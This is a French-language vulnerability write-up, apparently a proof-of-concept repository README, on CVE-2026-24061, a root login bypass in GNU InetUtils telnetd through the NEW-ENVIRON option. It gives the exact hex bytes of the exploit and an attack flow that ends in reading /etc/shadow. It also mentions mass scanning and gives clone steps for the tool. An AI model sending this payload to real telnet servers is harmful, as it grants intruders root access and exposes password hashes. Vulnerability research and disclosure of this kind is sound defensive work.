
GNU InetUtils telnetd - Racine distante non authentifiée via l'injection de variable NEW-ENVIRON.
GNU InetUtils telnetd - Root distant non authentifié via injection de variable NEW-ENVIRON
Vue d'ensemble - Analyse technique - Versions concernées - Utilisation - Remédiation - Références
CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification dans le démon telnetd distribué avec GNU InetUtils. Le défaut réside dans la gestion de l'option Telnet NEW-ENVIRON (RFC 1572) lors de la poignée de main initiale du protocole.
La cause racine est une absence de nettoyage des variables d'environnement fournies par le client avant de les transmettre au programme login(1). Lorsque le démon Telnet reçoit un paquet de sous-négociation NEW-ENVIRON IS contenant la variable USER avec la valeur -f root, il transmet cette valeur non nettoyée directement au binaire système login.
Sur les systèmes où login accepte le drapeau -f (connexion forcée sans vérification du mot de passe), cela aboutit à l'octroi d'une session root non authentifiée à l'attaquant distant.
Cette classe de vulnérabilité a un précédent historique : CVE-2001-0797 dans SysV telnetd et le contournement bien connu -f de telnetd Linux de 1994 exploitaient la même défaillance fondamentale de nettoyage des arguments issus de l'environnement transmis aux binaires privilégiés.
Aucun identifiant requis. Aucun accès préalable nécessaire. Une seule séquence de paquets réseau suffit pour obtenir root.
GNU InetUtils telnetd traite la sous-négociation NEW-ENVIRON (code d'option 0x27, selon la RFC 1572) pour collecter les variables d'environnement fournies par le client. Ces variables sont assemblées dans un vecteur d'arguments et transmises à execve(2) lors du lancement de login(1).
La vulnérabilité est déclenchée comme suit :
IAC DO NEW-ENVIRON, sollicitant les variables d'environnement du client.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd construit l'invocation de login comme login -f root.login(1) interprète -f comme « connexion forcée, ignorer l'authentification » et connecte l'utilisateur spécifié (root) sans exiger de mot de passe.| Étape | Direction | Octets Telnet (hex) | Signification |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root fonctionneLe binaire login(1) sur de nombreux systèmes Linux accepte le drapeau -f <utilisateur> pour les connexions « pré-authentifiées », historiquement utilisé par les multiplexeurs de terminaux et rlogin. Lorsque telnetd construit son appel exec et ne parvient pas à supprimer les tirets initiaux ou à valider les chaînes de type option dans les valeurs des variables d'environnement, il transmet par inadvertance des drapeaux contrôlés par l'attaquant directement à login.
L'appel effectif devient :
execve("/bin/login", ["login", "-f", "root"], envp);
Attaquant telnetd vulnérable (port 23)
| |
|------- TCP SYN (port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Bannière Telnet + IAC DO NEW-ENVIRON ------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd appelle : login -f root] |
| |
|<------ Invite de shell root (#) ------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root contenu /etc/shadow ------|
Conditions préalables :
telnetd (TCP/23 ouvert)inetutilslogin(1) prend en charge le drapeau -f (standard sur la plupart des distributions Linux)| Logiciel | Versions concernées | Statut |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (version corrigée spécifique à déterminer) | Vulnérable |
| Distributions fournissant GNU inetutils non corrigé | Diverses | Consulter l'avis du fournisseur |
Vérifiez si votre distribution fournit une version corrigée. De nombreux systèmes modernes ont Telnet désactivé par défaut ; l'exposition nécessite un
telnetdexplicitement en cours d'exécution.
| Métrique | Valeur |
|---|---|
| Score de base CVSS v3.1 | 9.8 (Critique) |
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Portée | Inchangée |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Élevé |
| Impact sur la disponibilité | Élevé |
| Chaîne vectorielle | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Tactique | Technique | Pertinence |
|---|---|---|---|
| T1190 | Accès initial | Exploitation d'une application exposée publiquement | Exploitation directe de telnetd sur le réseau |
| T1059 | Exécution | Interpréteur de commandes et de scripts | Exécution de shell post-exploitation |
| T1078.004 | Élévation de privilèges / Contournement de défense | Comptes valides : Comptes locaux | Le contournement d'authentification aboutit à une session root valide |
| T1548 | Élévation de privilèges | Abus du mécanisme de contrôle d'élévation | Drapeau login -f abusé pour contourner PAM/l'authentification |
| T1046 | Découverte | Découverte de services réseau | Composant de scan de masse du PoC |
Prérequis : Python 3 (bibliothèque standard uniquement, zéro dépendance externe).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
Aucun pip install nécessaire. Les deux scripts utilisent uniquement la bibliothèque standard de Python.